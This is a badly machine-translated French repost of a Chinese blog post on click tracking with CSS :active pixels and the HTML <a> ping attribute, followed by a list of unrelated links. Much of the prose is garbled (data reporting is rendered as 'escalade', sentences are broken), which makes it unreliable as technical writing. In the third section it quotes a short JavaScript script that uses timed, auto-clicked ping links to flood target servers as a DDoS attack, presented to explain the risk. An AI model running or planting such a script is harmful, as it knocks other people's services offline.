Mise en œuvre de l'escalade des données avec l'attribut de Ping HTML

Espace Xin 2021-09-15 04:28:01
mise en uvre escalade des


pingCouverture de l'article

Un.、La connaissance de l'ancienCSSEscalade

Il y a quelques annéesUtiliser CSS Réaliser l'escalade des données







.button-1:active::after {
content: url(./pixel.gif?action=click&id=button1);
display: none;
}
.button-2:active::after {
content: url(./pixel.gif?action=click&id=button2);
display: none;
}

Mais l'adresse du rapport est écrite à CSS Pas très bien entretenu ,On peut utiliser CSS Sous optimisation variable :







.report:active::after {
content: var(--report);
display: inline-block;
position: absolute;
}

En ce moment, Tout a un nom de classe .report Tous les éléments sont signalés lorsqu'ils sont pressés ,Par exemple:







<button class="report" style="--report:url(./pixel.gif?action=click&id=button1)">Boutons1</button>
<button class="report" style="--report:url(./pixel.gif?action=click&id=button2)" >Boutons2</button>

Cliquez sur ces deux boutons pour voir la demande comme suit :

CSS Statistiques cliquez sur la capture d'écran du comportement

Il faut le voir pour le croire.,Vous pouvez cliquer ici:CSS Variables et :active Communication des données demo

Et puis,Découverte récente, Le navigateur original avait HTML Attribut natif supporte la soumission de données .

2.、ping Propriétés et escalade des données

Pour <a> Éléments liés , Il y a un attribut que beaucoup de gens ignorent —— ping Propriétés,C'est réglé. ping Propriétés, Lorsque l'utilisateur clique sur cet élément de lien , Le navigateur envoie automatiquement un POST Demande adressée à ping Adresse de la valeur de la propriété .

Par exemple, Il y a ce qui suit sur la page HTML Code:







<a href ping="/pixel.gif?action=click&id=link1">Liens1</a>
<a href ping="/pixel.gif?action=click&id=link2">Liens2</a>

En ce moment,Cliquez sur“Liens1”Et“Liens2”, Le navigateur donne au serveur POST '/pixel.gif...'Cette adresse.

J'en ai fait un demo,Vous pouvez cliquer ici:HTML ping Propriétés et escalade des données demo

Ouvrez la console de la page ci - dessus , Passer au panneau réseau , Cliquez ensuite sur les deux éléments de lien de la page (Comme le montre la figure ci - dessous):

 Liens cliquez sur la capture d'écran

Vous pouvez voir POST La demande a été faite ,La capture d'écran ci - dessous montre:

post Demande une représentation picturale

Mais 405 C'est, Parce que l'image n'est pas acceptable POST Demande, Bloqué par le serveur , Le développement réel utilisera certainement une acceptation spécifique POST Adresse des données.

Bien que la demande ait été bloquée , Mais l'en - tête de la demande est toujours visible ,Voyons voir.:

Informations sur l'en - tête de la demande

Je vois. ping Demande content-type - Oui. text/ping, Contient les User-Agent, Cross - Domain , Adresse de la source cible, etc , Très pratique pour le suivi lors de la collecte des données .

ping Avantages de la propriété

Utiliser ping Les avantages de la mise en oeuvre de la Déclaration des données par attributs sont les suivants :

  1. Pas besoin. JavaScript Code impliqué , Les exceptions à la fonctionnalité de la page Web peuvent également être signalées ;
  2. Pas de rafraîchissement du navigateur 、 Effet d'arrêt du saut , Et ne bloque pas le suivi de la page ,Ce point et navigator.sendBeacon() Similaire, L'exactitude de la Déclaration des données peut être garantie ;
  3. Prise en charge des domaines transversaux;
    
    
    
    
    
    
    <a href="https://www.zhangxinxu.com/"
    ping="https://www.canvasapi.cn/notify.php">Cliquez sur moi</a>
  4. Beaucoup de données peuvent être déclarées ,Parce que oui. POST Demande;
  5. Clarté sémantique,Facile à utiliser, Flexibilité et autonomie .

ping Inconvénients des attributs

ping L'insuffisance des attributs est également évidente .

  • L'escalade des clics ne peut être prise en charge que , S'il s'agit d'entrer dans la zone de vision , Ou les rapports affichés dans les cases à cocher , Nécessite un déclencheur supplémentaire sous l'élément click() Comportement;
  • Ne peut supporter que <a> Élément, Définir sur d'autres éléments ping La propriété n'a aucun effet , Cela limite son utilisation , Parce que beaucoup de développeurs aiment div Une navette.
  • Ça ne peut être que ça. POST Demande, À l'heure actuelle, les statistiques courantes sont encore dans les journaux GET Demande, Impossible de réutiliser l'infrastructure existante .
  • La naissance n'est pas bonne ,Oui. HTML Propriétés, Naturellement ignoré et méprisé par certains développeurs .
  • Convient pour les projets mobiles ,PC L'extrémité doit être utilisée à sa discrétion ( Sans tenir compte des totaux déclarés ),Parce que pour l'instant, IE Et Firefox Aucun navigateur ne supporte ( Ou il n'y a pas de support d'activation par défaut ).

    ping Compatibilité des propriétés

Trois、Ping Attributs et DDoS Attaque

Puisque vous cliquez sur le lien en même temps qu'il envoie un POST Demande,Alors ping Les attributs peuvent certainement faire plus que simplement signaler .

En fait..., Il y a quelques années, quelqu'un a utilisé ping Attribut initié DDoS Attaque,Cet articleIl y a une introduction.

Le Code d'attaque est le suivant :







var arr = ['https://www.exampe1.com', 'https://www.exampe2.com', 'https://www.exampe3.com'];
function yzk( ){
var indexarr = Math.floor((Math.random( )*arr.length));
document.writeln("<script>var link = document.createElement(\'a\');link.href=\'\';link.ping=\'"+
arr[indexarr] +
"\';document.head.appendChild(link); link.click();</script>");
}
if(arr.length>0){
var ytimename = setlnterval("yzk()", 1000);
}

Créer un <a> Élément,Paramètres ping Adresse, Déclenché par cet élément de lien click() Événements, Une attaque de requête peut maintenant être lancée contre le serveur cible , Demande d'attaque constante et programmée .

Par exemple, De nombreux sites Web utilisent des tiers open source CDN Services, Si un jour ces tiers JS Il y a quelque chose dedans ,Prends - en un. DDoS Attaquer ou quelque chose , C'est très EasyDe, Et la puissance sera incroyable .

Quatre、 Évaluer

ping L'escalade des attributs est particulièrement unique , Peut être utilisé pour avoir besoin d'une connaissance précise des données , Mais il n'est pas nécessaire d'avoir des scènes aussi vastes ou à grande échelle .

Par exemple AB Le test serait parfait .

Les deux mêmes images publicitaires ,Chacun 50% Afficher, Incorporé séparément ping Propriétés,Et on s'en occupe. POST Demande, Vous pouvez rapidement savoir quelle carte publicitaire a un bon effet de clic , Pas besoin de données massives , L'avant - garde peut s'en occuper toute seule , Il est plus facile d'obtenir des résultats .

L'équivalent d'un levier bon marché , En raison du faible coût , Il sera également très pratique de tourner la proue plus tard .

S'il s'agit d'un système complexe d'escalade à grande échelle ,Et ping La méthode des attributs n'est pas appropriée , Toujours en utilisant la tradition JavaScript Comment envoyer la demande .

D'accord.,Ce qui précède est le contenu de cet article..

Autres

Il a fallu des heures hier soir pour embellir l'affichage du Code , Si quelqu'un aime la mise en évidence traditionnelle et ciblée , Vous pouvez cliquer sur le bouton en haut à droite pour restaurer , La possibilité de copier le Code en un seul clic a également été ajoutée .

D'autres ont dit que mon site était laid , Laid? ? J'ai demandé au Chef de la prochaine famille , Le chef sourit ,On ne peut plus parler..

D'accord,J'ai compris.!

Y a - t - il quelqu'un qui est intéressé à améliorer l'expérience visuelle du site sous peu de changement , Il vaut mieux figma Manuscrit visuel , Adoption de l'avis je vous enverrai une version signée 《CSSLe nouveau monde》,Valeur128Yuan.

Où es - tu?

(Fin du présent chapitre)

版权声明
本文为[Espace Xin]所创,转载请带上原文链接,感谢
https://qdmana.com/2021/09/20210915042224462a.html

  1. Front and back end data interaction (V) -- what is Axios?
  2. Windows configures nginx to boot automatically
  3. Des questions d'entrevue communes à Tomcat pour discuter de votre compréhension de la technologie de verrouillage distribué,
  4. JS handscrap, Classic interview question, web front end Development Process
  5. Android 400 questions d'entrevue pour vous aider à entrer dans l'usine, un tour pour vous apprendre à comprendre netty
  6. Développement et projet d'application Web statique côté PC
  7. Recommandé pour le tutoriel Spring Framework, 2021 dernière question d'entrevue d'embauche de la société aiqiyi Java,
  8. La dernière revue scientifique de l'académicien Luo Liqun: architecture de la boucle neuronale pour stimuler la nouvelle Ia
  9. [partage d'expérience de travail], 2021 les dernières questions d'entrevue Java de Baidu, Headlines, etc.
  10. Lisez l'analyse de 497 questions pour l'entrevue d'ingénieur principal Android et vérifiez les lacunes.
  11. Grâce à cette collection de questions d'entrevue d'automne, le salaire de saut d'emploi et l'entrevue de développement audio et vidéo ont doublé.
  12. Prenez d'un coup l'offre de Tencent meituan et jetez un coup d'oeil à cette copie de l'entrevue de printemps!
  13. L'expérience et l'expérience d'un Maverick Java en matière d'entrevue sur les MTD, l'expérience de l'entrevue d'embauche du printemps Java en 2021,
  14. Vue中自定义列表复选框和全选框-案例
  15. Vue bidirectional binding (V-model bidirectional binding,. Sync bidirectional binding,. Sync transfer object)
  16. CSS text overflow ellipsis summary, as you wish
  17. C'est la mode la plus étrange que j'ai jamais vue.
  18. Cases à cocher et toutes les cases à cocher de la liste personnalisée en vue - CAS
  19. Vue bidirectional binding (V-model bidirectional binding,. Sync bidirectional binding,. Sync transfer object)
  20. Vue3.0 using Gaode map to obtain longitude and latitude information
  21. Front end interview daily 3 + 1 - day 877
  22. Vue bidirectional binding (V-model bidirectional binding,. Sync bidirectional binding,. Sync transfer object)
  23. React realizes the function of copying pictures with one click
  24. White space, word break and word wrap are the three most basic and confusing attributes in CSS - thoroughly understand
  25. Trois ans d'expérience d'entrevue avec une femme de programmation diplômée, une réflexion sur la cohérence de l'expiration des données de redis Master slave Node,
  26. Résumé de l'entrevue Android de Dachang, carte technique Android
  27. Un plan de carrière Java correct, découvrez les questions que vous devez poser lors de l'entrevue d'embauche du printemps Java de cette année.
  28. Le résumé de l'entrevue Android de Dachang est en retard
  29. Un article vous a appris à gérer les entrevues sur le Web, à partager 350 vraies questions d'entrevue Java,
  30. Jquery Tools Methodology collation, Sharing a little interview Experience
  31. Jquery plug - in urianchor, app front end Development
  32. $in jquery, Visualized Web Development Tool
  33. Le développement Java doit être fait. Les entrevues https demandent souvent une analyse complète.
  34. vue v-if未生效问题
  35. vue动态改变组件外部元素样式
  36. Jdk's Past Life: The Classic Features of Thin Number - java5 - - - 15 -, webfront Development
  37. Résumé des questions d'entrevue pour les ingénieurs en développement Java, analyse des questions d'entrevue à haute fréquence Dubbo,
  38. The new front-end lady asked: there was a 404 problem refreshing the page in Vue routing history mode
  39. A Simple Css Meun
  40. Vue modifier dynamiquement le style de l'élément externe du composant
  41. Vue V - si problème non valable
  42. N'osez pas vous opposer à l'intervieweur et obtenir des commentaires personnels des stagiaires d'offer Ali après cinq rondes d'entrevue.
  43. Améliorer continuellement leur capacité à créer des primes, et les questions d'entrevue Java d'Alibaba Huawei Tencent et d'autres grandes usines sont sautées en octets.
  44. The new front-end lady asked: there was a 404 problem refreshing the page in Vue routing history mode
  45. Who doesn't want to make a scratch music by himself? Scratch music is realized by native JS
  46. Learn XPath to help climb the data of major e-commerce platforms in the Mid Autumn Festival
  47. vue動態改變組件外部元素樣式
  48. vue v-if未生效問題
  49. Je ne comprends pas comment la machine virtuelle JVM peut encore interviewer, et j'ai terminé ce dictionnaire d'entrevue Java de 1307 pages.
  50. Dongxh, mid autumn festival gifts 🥮, [CSS starry sky realization, Mid Autumn Festival poem]
  51. What if you want to see the moon and don't want to go out
  52. Mid Autumn Festival, Chang'e looks at the moon
  53. [Pixi] super beautiful! How to make mid autumn festival scene level animation!!
  54. Echarts realizes the rotation of the moon (super simple, you can see it at a glance)
  55. Dart mixin full resolution
  56. Some suggestions on Vue code readability | comments are rewarded
  57. 120 lines of code to achieve pure web video editing
  58. Yang yangsun took a selfie to celebrate his 30th birthday, and Wang Yanlin sent blessings.
  59. Comment passer une entrevue avec une entreprise Internet de première ligne, Android Classic Getting started tutoriel
  60. Comment essayer un développeur Android vraiment niveau, 【 résumé de l'entrevue 】